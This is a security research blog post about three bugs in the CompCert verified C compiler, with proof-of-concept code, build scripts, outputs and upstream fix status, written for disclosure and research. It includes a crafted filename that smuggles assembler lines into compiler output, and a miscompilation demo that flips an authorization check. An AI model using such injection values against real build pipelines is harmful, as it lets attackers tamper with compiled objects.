# How We Found Three Bugs in a Compiler Proven Correct > CompCert is a formally verified C compiler for high-assurance software. Its proof held. The bugs lived at the edges. Author: Cantina Published: August 18, 2026 Topics: CompCert, Formal Verification, Compiler Security, Rocq, Apex, Research Canonical URL: https://www.cantina.security/blog/how-we-found-three-bugs-in-a-compiler-proven-correct How do you find bugs in a compiler that has been mathematically proven correct? You look at what the proof does not cover. CompCert is one of the strongest examples of formal verification in real-world software. Its core compilation process has been mathematically proven to preserve a program’s behavior. In 2026, it was even qualified for use in a computer deployed on ATR 42/72 aircraft. In short, Apex, Cantina’s autonomous OffSec agent, found and reproduced three bugs in CompCert. One could corrupt registers that another program expected to remain intact. Another could produce the wrong memory layout for a C program. A third could turn a malicious filename into injected assembly code. None of these bugs disproved CompCert’s correctness theorem. The proof did exactly what it claimed. The bugs appeared in the surrounding components and assumptions that the proof did not cover. ## Findings at a glance | # | Where it lives | The bug | Status | | --- | ----------------------------- | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------ | | 1 | Target model / Win64 backend | `XMM6`/`XMM7` clobbered; `XMM8`-`XMM15` saved at only 64-bit width | Latest release affected; classifier change merged on master ([PR #584](https://github.com/AbsInt/CompCert/pull/584)); full-width preservation still open at checked master | | 2 | C front end / elaborator | A tag binding from an initializer is dropped, giving the wrong `struct` layout | Latest release affected; fix merged on master (commit `0375c18…`, 3 Jul 2026) | | 3 | Output encoding / ARM printer | A newline in a filename escapes the banner comment and injects assembler | Latest release affected; fixes merged on master ([PR #586](https://github.com/AbsInt/CompCert/pull/586), [PR #588](https://github.com/AbsInt/CompCert/pull/588)) | A CompCert-generated Win64 function returned the right scalar result, `1460.0`. It also came back with `XMM6` overwritten and the upper 64 bits of `XMM8` cleared. The arithmetic was right. The caller's state was not. That ABI violation was one of three failures Cantina's Apex agent found and reproduced at the edges of CompCert's verified core: - the Win64 backend could clobber `XMM6` and `XMM7`, and saved `XMM8`-`XMM15` at only 64-bit width; - the C elaborator discarded a tag binding introduced inside an initializer, producing the wrong `struct` layout; - the ARM assembly printer allowed a newline in a filename to escape a diagnostic comment and inject assembler. [CompCert](https://compcert.org/) is an optimizing C compiler for high-assurance software. Its core compilation passes are specified and proved correct in Rocq, the proof assistant formerly known as Coq. Rocq's kernel checks the proof terms mechanically, so the correctness claim does not rest only on testing a collection of source programs and comparing their outputs. CompCert is also used outside research. In March 2026, it was [qualified for the MFC_NG computer used in ATR 42/72 aircraft](https://compcert.org/), allowing certification credit under DO-178C, DO-333, and DO-330. That setting makes compiler defects expensive: deployed code is difficult to change, and a defect can invalidate assurance established at the source level. For each finding, Apex traced the relevant invariants across Rocq and OCaml. It generated a PoC and build harness, compiled and ran it, inspected the resulting assembly or object file, and reviewed the upstream changes and remaining open issue. We validated the findings against CompCert commit `0ef26dad76446c803da02d7368eb4f9d074c1401`. We checked the upstream changes against master at `eeeb0aa3463efb95c34aca82026cd9b9febd9bc7` on 17 July 2026. Those changes were not yet included in the latest release checked for this article. ## What CompCert proves The whole-compiler theorem in `driver/Compiler.v` makes that claim precise: ```coq Theorem transf_c_program_correct: forall p tp, transf_c_program p = OK tp -> backward_simulation (Csem.semantics p) (Asm.semantics tp). ``` Write `Beh_L(x)` for the observable behaviors of program `x` under semantics `L`. The behavior-level result is then: > For every `bt ∈ Beh_Asm(tp)`, there exists `bs ∈ Beh_C(p)` such that `behavior_improves(bs, bt)`. > Every observable behavior of the generated Asm program must be matched by a behavior allowed by the source semantics, modulo CompCert's formal behavior-improvement relation. The theorem covers two formal objects: `p`, a CompCert C AST, and `tp`, an Asm AST. > The deployed toolchain extends beyond those two objects: ```text scope of the proved compiler relation ┌─────────────────────────────────────────┐ C source text ─────▶│ C AST p ── verified passes ──▶ Asm tp │─────▶ machine program │ └────────────────────┬────────────────────┘ │ │ │ │ parse / elaborate target model print / assemble / link Finding 2 Finding 1 Finding 3 wrong AST missing ABI state injected assembly text ``` The front end must build the intended `p`. The target semantics must model the architectural and ABI state that external callers rely on. The printer, assembler, and linker must preserve `tp` when they produce the machine program. We found no counterexample to the theorem itself. The failures were in the contracts around it. ## 1. Win64 XMM state was wider than the model ### Impact On the supported 64-bit Cygwin configuration, a CompCert-generated function could return the correct scalar result and still corrupt the caller's nonvolatile XMM state. The allocator could use `XMM6` and `XMM7` without arranging to preserve them. It could save and restore `XMM8`-`XMM15` through 8-byte slots, which discarded their upper 64 bits. A caller that relies on the Microsoft x64 ABI can observe the corruption even when the callee returns the right scalar result. ### The allocation pool and save classifier disagreed The allocator's fallback register pool and the backend's callee-save classifier were supposed to describe the same calling convention. They disagreed on two registers. The comments in the excerpts below are annotations added for this post. The `Archi.win64` definition selects Win64 behavior for 64-bit Cygwin. In `x86/Conventions1.v`, the fallback pool listed `X6` through `X15`: ```coq Definition float_callee_save_regs := if Archi.ptr64 && Archi.win64 then X6 :: X7 :: X8 :: X9 :: X10 :: X11 :: X12 :: X13 :: X14 :: X15 :: nil (* [1] The allocator may select X6 through X15. *) else nil. ``` The classifier excluded `X6` and `X7`: ```coq | X0 | X1 | X2 | X3 | X4 | X5 | X6 | X7 => false (* [2] X6 and X7 are not treated as callee-save. *) | X8 | X9 | X10 | X11 | X12 | X13 | X14 | X15 => Archi.win64 ``` Every register offered through `float_callee_save_regs` must be recognized by `is_callee_save`. Under Win64, `X6` and `X7` broke that invariant. After `XMM0`-`XMM5` ran out, the allocator could select either register, and the prologue and epilogue then left its incoming value unpreserved. The [Microsoft x64 register table](https://learn.microsoft.com/en-us/cpp/build/x64-software-conventions?view=msvc-170) classifies `XMM6`-`XMM15` as nonvolatile. ### Saved XMM values were only 64 bits wide That mismatch accounts for the complete clobber of `XMM6` and `XMM7`, but it does not explain why `XMM8` retained its low half and lost its high half. Tracing the save path from machine-register typing through frame layout, stack operations, x86 lowering, and the formal instruction semantics showed where the second problem entered. `x86/Machregs.v` gave every XMM register the type `Tany64`: ```coq | X0 | X1 | X2 | X3 | X4 | X5 | X6 | X7 => Tany64 | X8 | X9 | X10 | X11 | X12 | X13 | X14 | X15 => Tany64 (* [1] Every XMM machine register has an abstract width of 64 bits. *) ``` The callee-save frame derives its slot size from that type: ```coq let ty := mreg_type r in let sz := AST.typesize ty in let ofs1 := align ofs sz in Msetstack r (Ptrofs.repr ofs1) ty :: ... (* [2] Tany64 therefore allocates and moves eight bytes. *) ``` The x86 lowering and Asm semantics keep that width: ```coq | Pmovsd_fm_a rd a => exec_load Many64 m a rs rd | Pmovsd_mf_a a r1 => exec_store Many64 m a rs r1 nil (* [3] The formal load and store chunk remains Many64. *) ``` The printer therefore emits scalar `movsd` instructions. Each save stores only the low 64 bits, and a memory-to-XMM scalar load restores those bits while clearing the upper half. The external ABI requires: ![The Win64 ABI requires XMM6 through XMM15 to preserve all 128 bits across a call](./how-we-found-three-bugs-in-a-compiler-proven-correct/compcert-win64-abi.png) CompCert's Rocq model does not contain a physical 128-bit XMM object with separately addressable high and low halves. It maps each modeled register to one abstract `val`. Formally, the vulnerable backend preserved one such abstract value for `XMM8`-`XMM15`, while `XMM6` and `XMM7` had no callee-save obligation. When the abstraction was lowered to real instructions, the emitted code had this physical effect: ![CompCert preserved only part of the physical XMM register state required by the Win64 ABI](./how-we-found-three-bugs-in-a-compiler-proven-correct/compcert-xmm-register-effect.png) Those bit slices describe the machine-level consequence of the abstraction, not literal objects in the Rocq register model. The proof can preserve the modeled abstract values without proving preservation of the full physical state that a Win64 caller requires. ### Reproduction To force the allocator into its fallback pool, Apex used a floating-point-heavy victim: ```c __attribute__((noinline)) double victim(double a, double b, double c, double d, double e, double f, double g, double h, double i, double j, double k, double l, double m, double n, double o, double p) { volatile double t0 = a + b; volatile double t1 = c + d; volatile double t2 = e + f; volatile double t3 = g + h; volatile double t4 = i + j; volatile double t5 = k + l; volatile double t6 = m + n; volatile double t7 = o + p; return t0 * t1 + t2 * t3 + t4 * t5 + t6 * t7; } ``` The generated prologue contains the relevant pattern: ```asm movsd %xmm8, 40(%rsp) movsd %xmm9, 48(%rsp) movsd %xmm10, 56(%rsp) ... movsd 56(%rax), %xmm7 movsd 48(%rax), %xmm6 ... movsd 40(%rsp), %xmm8 movsd 48(%rsp), %xmm9 ``` The Win64 caller seeded `XMM6` and `XMM8` with distinct 128-bit values, invoked `victim`, saved both registers, and exited nonzero if either value changed or the scalar result differed from `1460.0`. Apex compiled the victim with CompCert under `system=cygwin`, linked the caller with `x86_64-w64-mingw32-gcc`, and ran the executable under Wine. The harness reported: ```text xmm6 before = 0x99aabbccddeeff001122334455667788 xmm6 after = 0x0000000000000000401c000000000000 xmm8 before = 0xfedcba98765432100123456789abcdef xmm8 after = 0x00000000000000000123456789abcdef victim(...) returned 1460.0 ``` `XMM6` was replaced by a temporary. `XMM8` kept its low 64 bits and lost its upper 64 bits. The scalar result was correct; the caller's register state was not. The complete caller, driver, and build script are in Appendix A, so the reproduction does not depend on unpublished files. ### Upstream status [PR #584](https://github.com/AbsInt/CompCert/pull/584), merged on 15 June 2026, fixed the classifier: ```diff - | X0 | X1 | X2 | X3 | X4 | X5 | X6 | X7 => false - | X8 | X9 | X10 | X11 | X12 | X13 | X14 | X15 => Archi.win64 + | X0 | X1 | X2 | X3 | X4 | X5 => false + | X6 | X7 | X8 | X9 | X10 | X11 | X12 | X13 | X14 | X15 => Archi.win64 ``` This change is merged on master but was not included in the latest release checked for this article. It removes the unsaved `XMM6`/`XMM7` case, but it does not change `mreg_type`, frame sizing, `Pmovsd`, or `Many64`. At the checked master revision, the full-width preservation issue remains. ## 2. The elaborator dropped a C tag binding ### Impact The C front end could build the wrong AST for a well-defined program. A tag declared inside an initializer's type-name expression was visible according to C scope rules, but the elaborator discarded the updated environment before processing a later declaration. That declaration could resolve against an outer `struct` with a different layout. This is an ordinary miscompilation, with no CompCert-specific authorization feature involved. In the reproducer, the layout mismatch flips a branch that returns an authorization-like result. ### The environment was returned, then discarded Tracing the environment returned by `TYPE_SIZEOF` leads directly into the initializer path. The expression elaborator propagated `env'` correctly: ```ocaml | TYPE_SIZEOF (spec, dcl) -> let (ty, env') = elab_type loc env spec dcl in if wrap incomplete_type loc env' ty then fatal_error "invalid application of 'sizeof' to an incomplete type %a" (print_typ env) ty; { edesc = ESizeof ty; etyp = TInt(size_t_ikind(), []) }, env' (* [1] The new tag binding leaves this function in env'. *) ``` The single-expression initializer then discarded that environment: ```ocaml | SINGLE_INIT a, _ -> let a',_ = !elab_expr_f loc env a in (* [2] The returned environment is discarded here. *) elab_single zi a' il ``` Later, `enter_decdef` started again from `env1`: ```ocaml let (ty', init') = elab_initializer loc env1 s ty init in let env2 = Env.add_ident env1 id sto' ty' in (* [3] Later declarations inherit the stale scope. *) ``` That discarded environment is the bug. Where `elabExpr(a, Γ) = (a′, Γ′)`, initializer elaboration should return `(i, Γ′)`, but the vulnerable path returns `(i, Γ)` instead. ### The source program Under C99 and C11, a structure, union, or enumeration tag comes into scope just after it appears in the type specifier. A tag defined inside a block therefore hides an outer tag with the same name for the rest of that block. The relevant rules appear in [N1256 §6.2.1](https://www.open-std.org/jtc1/sc22/wg14/www/docs/n1256.pdf) and [N1570 §6.2.1](https://www.open-std.org/jtc1/sc22/wg14/www/docs/n1570.pdf). The complete PoC is: ```c #include struct ACL { unsigned char allow; unsigned char pad[7]; }; int authorize(unsigned char attacker) { int anchor = sizeof(struct ACL { int allow; }); (void)anchor; struct ACL acl = { .allow = attacker }; printf("sizeof(acl)=%zu sizeof(acl.allow)=%zu\n", sizeof(acl), sizeof(acl.allow)); if (sizeof(acl.allow) != sizeof(int)) return attacker != 0; return 0; } int main(void) { printf("authorize(0)=%d\n", authorize(0)); printf("authorize(1)=%d\n", authorize(1)); return 0; } ``` The `sizeof` expression introduces a block-scope `struct ACL` whose `allow` member has type `int`. The later declaration of `acl` must use that inner tag, so `sizeof(acl.allow) == sizeof(int)` regardless of the target's concrete integer size. On the tested target, the inner structure was four bytes. CompCert instead used the stale file-scope definition, whose `allow` member was one byte and whose total size was eight bytes. ### Reproduction The same source was compiled and run with CompCert and GCC: ```bash mkdir -p poc/initializer-tag-scope ./ccomp -stdlib runtime -O0 \ poc/initializer-tag-scope/auth_bypass.c \ -o poc/initializer-tag-scope/auth_bypass_compcert ./poc/initializer-tag-scope/auth_bypass_compcert gcc -std=c99 -O0 \ poc/initializer-tag-scope/auth_bypass.c \ -o poc/initializer-tag-scope/auth_bypass_gcc ./poc/initializer-tag-scope/auth_bypass_gcc ``` CompCert produced: ```text sizeof(acl)=8 sizeof(acl.allow)=1 authorize(0)=0 sizeof(acl)=8 sizeof(acl.allow)=1 authorize(1)=1 ``` GCC produced: ```text sizeof(acl)=4 sizeof(acl.allow)=4 authorize(0)=0 sizeof(acl)=4 sizeof(acl.allow)=4 authorize(1)=0 ``` GCC is only a comparison here; the C scope rule is the basis for the expected result. ### Upstream status Commit `0375c1835c65bc801b61c6cab0a620368e7954d2`, authored by Michael Schmidt and committed by Xavier Leroy on 3 July 2026, threads the environment through `elab_list`, `elab_item`, `elab_single`, compound initializers, and `elab_initializer`. `enter_decdef` now adds the declared identifier to the environment returned by initializer elaboration. The change is merged on master but was not included in the latest release checked for this article. The commit fixes the demonstrated `SINGLE_INIT` path and carries its updated environment through the enclosing initializer and back into `enter_decdef`. It does not by itself show that every possible initializer subexpression propagates tag bindings correctly. ## 3. A filename escaped an ARM assembly comment ### Impact and precondition CompCert's ARM printer put the command line in a comment at the top of the generated assembly. The printer emitted the ARM comment marker once and copied each argument with raw `%s`, so a filename containing a newline could terminate the comment and inject assembler lines. The demonstrated impact is a modified object file. The injected text added a global symbol and branch instruction to the generated assembly, and the assembled object contained the injected symbol. Reaching injected code at runtime depends on the surrounding build and link pipeline. The exploit requires control over an argument passed to `ccomp`, such as a source filename; it does not require `-finline-asm`. ### The vulnerable printer The data flow runs from source filenames to `Commandline.argv` and then into `backend/PrintAsmaux.ml`. The raw sink is shared across target printers. ARM makes the bug visible because its `@` comment ends at the newline: ```ocaml fprintf oc "%s Command line:" comment; for i = 1 to Array.length Commandline.argv - 1 do fprintf oc " %s" Commandline.argv.(i) (* [1] Raw argv text is emitted after one comment marker. *) done; fprintf oc "\n" ``` `backend/PrintAsm.ml` emits the banner before the target prologue. On ARM, [`Target.comment` is `@`](https://github.com/AbsInt/CompCert/blob/0ef26dad76446c803da02d7368eb4f9d074c1401/arm/TargetPrinter.ml#L100-L104). A newline in an argument becomes a new physical assembly line. The filename suffix was: ```text victim .text .globl injected injected: b injected @.c ``` The final `@.c` resumes the comment before CompCert's normal output. The inserted `.text`, symbol declaration, label, and branch are interpreted by the assembler instead of being treated as metadata. ### Reproduction The reproduction built an ARM-targeted compiler, created the newline-bearing source file, compiled it, assembled the output, and inspected the symbol table: ```bash ./configure arm-linux make depend make -j4 ccomp clightgen mkdir -p poc/arm-banner-injection malicious_base=$'victim\n.text\n.globl injected\ninjected:\n b injected\n@.c' cat > "poc/arm-banner-injection/$malicious_base" <<'EOF' int main(void) { return 0; } EOF ./ccomp -S \ "poc/arm-banner-injection/$malicious_base" \ -o poc/arm-banner-injection/poc-output.s sed -n '1,18p' poc/arm-banner-injection/poc-output.s clang --target=armv7-linux-gnueabihf -c \ poc/arm-banner-injection/poc-output.s \ -o poc/arm-banner-injection/poc-output.o readelf -s poc/arm-banner-injection/poc-output.o \ | grep -n ' injected$' ``` The output contained attacker-controlled assembly lines: ```asm .text .globl injected injected: b injected ``` The assembler accepted the file, and the object contained a real global symbol: ```text 7: 3: 00000000 0 NOTYPE GLOBAL DEFAULT 2 injected ``` The symbol-table check shows that the injected text changed the object file. The `.s` excerpt shows the injected branch. This reproduction does not include a separate disassembly assertion for that instruction. The failure happens after the Asm AST has been produced, during output encoding. The injected instructions are absent from both the C source and the verified target AST. ### Upstream status [PR #586](https://github.com/AbsInt/CompCert/pull/586), merged on 7 July 2026, added `quote_argument`: ```diff - fprintf oc " %s" Commandline.argv.(i) + fprintf oc " %s" (quote_argument Commandline.argv.(i)) ``` The function renders an embedded newline as the visible two-character sequence `\n`, so it cannot terminate the comment. PR #586 addresses that newline path. [PR #588](https://github.com/AbsInt/CompCert/pull/588), merged on 14 July 2026, added follow-up hardening: shared assembler-compatible string encoding for `.file` directives, DWARF `.asciz` strings, target printers, and command-line quoting. Both changes are merged on master but were not included in the latest release checked for this article. ## Appendix A: Complete Win64 reproduction harness These files make the Finding 1 reproduction complete. The assembly harness covers the normal call-and-return path. It does not provide Windows exception-unwind metadata, so it should not be treated as a generally unwind-safe routine. `run_probe.S` ```asm .text .globl run_probe run_probe: pushq %rbx subq $160, %rsp movq %rcx, %rbx movdqu %xmm6, 128(%rsp) movdqu %xmm8, 144(%rsp) leaq pattern_xmm6(%rip), %r10 movdqa (%r10), %xmm6 leaq pattern_xmm8(%rip), %r10 movdqa (%r10), %xmm8 movdqu %xmm6, 0(%rbx) movdqu %xmm8, 32(%rbx) leaq double_args(%rip), %r10 movsd 0(%r10), %xmm0 movsd 8(%r10), %xmm1 movsd 16(%r10), %xmm2 movsd 24(%r10), %xmm3 movq 32(%r10), %rax movq %rax, 32(%rsp) movq 40(%r10), %rax movq %rax, 40(%rsp) movq 48(%r10), %rax movq %rax, 48(%rsp) movq 56(%r10), %rax movq %rax, 56(%rsp) movq 64(%r10), %rax movq %rax, 64(%rsp) movq 72(%r10), %rax movq %rax, 72(%rsp) movq 80(%r10), %rax movq %rax, 80(%rsp) movq 88(%r10), %rax movq %rax, 88(%rsp) movq 96(%r10), %rax movq %rax, 96(%rsp) movq 104(%r10), %rax movq %rax, 104(%rsp) movq 112(%r10), %rax movq %rax, 112(%rsp) movq 120(%r10), %rax movq %rax, 120(%rsp) call victim movdqu %xmm6, 16(%rbx) movdqu %xmm8, 48(%rbx) movsd %xmm0, 64(%rbx) movdqu 128(%rsp), %xmm6 movdqu 144(%rsp), %xmm8 addq $160, %rsp popq %rbx ret .section .rdata,"dr" .balign 16 pattern_xmm6: .quad 0x1122334455667788 .quad 0x99aabbccddeeff00 .balign 16 pattern_xmm8: .quad 0x0123456789abcdef .quad 0xfedcba9876543210 double_args: .quad 0x3ff0000000000000 .quad 0x4000000000000000 .quad 0x4008000000000000 .quad 0x4010000000000000 .quad 0x4014000000000000 .quad 0x4018000000000000 .quad 0x401c000000000000 .quad 0x4020000000000000 .quad 0x4022000000000000 .quad 0x4024000000000000 .quad 0x4026000000000000 .quad 0x4028000000000000 .quad 0x402a000000000000 .quad 0x402c000000000000 .quad 0x402e000000000000 .quad 0x4030000000000000 ``` `main.c` ```c #include #include #include struct probe_results { uint64_t xmm6_before[2]; uint64_t xmm6_after[2]; uint64_t xmm8_before[2]; uint64_t xmm8_after[2]; double victim_result; }; extern void run_probe(struct probe_results *out); static void print_reg(const char *name, const uint64_t reg[2]) { printf("%s = 0x%016" PRIx64 "%016" PRIx64 "\n", name, reg[1], reg[0]); } int main(void) { struct probe_results out = {{0}}; int failed = 0; run_probe(&out); puts("Win64 nonvolatile XMM register preservation check"); print_reg("xmm6 before", out.xmm6_before); print_reg("xmm6 after ", out.xmm6_after); print_reg("xmm8 before", out.xmm8_before); print_reg("xmm8 after ", out.xmm8_after); printf("victim(...) returned %.1f\n", out.victim_result); if (out.victim_result != 1460.0) { puts("FAIL: victim returned an unexpected scalar result."); failed = 1; } if (out.xmm6_before[0] != out.xmm6_after[0] || out.xmm6_before[1] != out.xmm6_after[1]) { puts("FAIL: xmm6 was not preserved across the CompCert-generated call."); failed = 1; } if (out.xmm8_before[0] != out.xmm8_after[0] || out.xmm8_before[1] != out.xmm8_after[1]) { puts("FAIL: xmm8 was not fully preserved across the CompCert-generated call."); failed = 1; } if (!failed) puts("PASS: no ABI corruption observed."); return failed; } ``` `build_and_run.sh` ```bash #!/usr/bin/env bash set -euo pipefail script_dir=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) compcert_root=${COMPCERT_ROOT:?set COMPCERT_ROOT to the CompCert checkout} build_dir="${script_dir}/build" ini_file="${build_dir}/cygwin.ini" victim_asm="${build_dir}/victim.s" exe_file="${build_dir}/win64_xmm_poc.exe" mkdir -p "${build_dir}" cp "${compcert_root}/compcert.ini" "${ini_file}" sed -i 's/^system=.*/system=cygwin/' "${ini_file}" "${compcert_root}/ccomp" -conf "${ini_file}" -S \ "${script_dir}/victim.c" -o "${victim_asm}" x86_64-w64-mingw32-gcc -O0 -c \ "${victim_asm}" -o "${build_dir}/victim.o" x86_64-w64-mingw32-gcc -O0 -c \ "${script_dir}/run_probe.S" -o "${build_dir}/run_probe.o" x86_64-w64-mingw32-gcc -O0 -c \ "${script_dir}/main.c" -o "${build_dir}/main.o" x86_64-w64-mingw32-gcc -O0 \ "${build_dir}/main.o" \ "${build_dir}/run_probe.o" \ "${build_dir}/victim.o" \ -o "${exe_file}" WINEDEBUG=-all wine "${exe_file}" ``` Keep `victim.c`, `run_probe.S`, `main.c`, and `build_and_run.sh` in the same PoC directory. Build CompCert first so its checkout contains `ccomp` and `compcert.ini`. Install `mingw-w64` and Wine, then run: ```bash chmod +x build_and_run.sh export COMPCERT_ROOT=/path/to/CompCert ./build_and_run.sh ``` ## Closing Formal verification is still one of the best tools for building critical software. It is important for aircraft computers, compilers, firmware, and other low-level systems that might be used for decades. If a defect is found after release, it can require recertification, a physical recall, or an update path that may not even exist. A machine-checked proof can eliminate whole categories of errors before the software is released, offering stronger assurance than testing alone. A proof only covers the statement, model, and trusted foundation it is built on. Sometimes, the statement might leave out the property users actually need. The model might not include the real machine state. Steps like parsing, extraction, printing, assembling, or linking can change the program before or after the theorem applies. In rare cases, the logical assurance itself can be weakened by a bug in the proof assistant’s trusted kernel, another trusted part, an unjustified axiom, an admitted result, or an unchecked escape hatch. Regular tactics and automation bugs usually cannot do this because Rocq’s kernel checks the proof terms they create. These boundaries are easy to overlook because the surrounding software is mature and the proof itself inspires trust. None of these findings point to a flaw in Rocq or show that CompCert’s theorem is false. Instead, they highlight a gap between what the theorem says and what the actual toolchain needs to do. Trust the proof for the property it proves, but also review the assumptions, models, and unverified code that link it to the machine. ### Get in touch Apex is Cantina's autonomous OffSec agent. For this scenario, it traced compiler invariants across Rocq and OCaml, built and ran the proof-of-concept harnesses shown above, inspected the assembly and object files, and confirmed each upstream fix. Apex is designed for deep, reproducible analysis on complex code, whether that's low-level systems, compilers, or tools. If you work on a codebase where correctness is important, we want to hear from you. [Book a demo](/get-a-demo) to see what Apex can find in your code. ## Frequently asked questions **What is CompCert?** CompCert is an optimizing C compiler for high-assurance software. Its core compilation passes are specified and proved correct in the Rocq proof assistant (formerly Coq), whose kernel checks the proof terms mechanically. In March 2026 it was qualified for the MFC_NG computer in ATR 42/72 aircraft, allowing certification credit under DO-178C, DO-333, and DO-330. **Do these three bugs disprove CompCert's correctness proof?** No. None of the findings contradicts the whole-compiler theorem in `driver/Compiler.v`, and none shows a flaw in Rocq. Each defect lives in an unverified contract around the proof: the front end that builds the AST, the target model that describes ABI state, and the assembly printer that encodes output. **What are the three CompCert bugs?** First, the Win64 backend could clobber `XMM6`/`XMM7` and save `XMM8`-`XMM15` at only 64-bit width, corrupting a caller's nonvolatile XMM registers. Second, the C elaborator dropped a tag binding declared inside an initializer, producing the wrong `struct` layout. Third, a newline in a filename could escape the ARM banner comment and inject assembler. **Are the CompCert bugs fixed?** None of the three findings is fixed in the latest CompCert release checked for this article. Changes for the elaborator bug, ARM injection, and Win64 classifier are merged on master. The full-width XMM preservation issue was still open at the checked master revision on 17 July 2026. **Which CompCert version is affected?** The findings were validated against commit `0ef26dad76446c803da02d7368eb4f9d074c1401`. The upstream changes were checked against master at `eeeb0aa3463efb95c34aca82026cd9b9febd9bc7` on 17 July 2026; they were not yet in the latest release checked for this article. **Who found these bugs?** Cantina's Apex agent found and reproduced all three. For each, Apex traced the relevant invariants across Rocq and OCaml, generated a PoC and build harness, compiled and ran it, inspected the resulting assembly or object file, and reviewed the upstream changes and remaining open issue.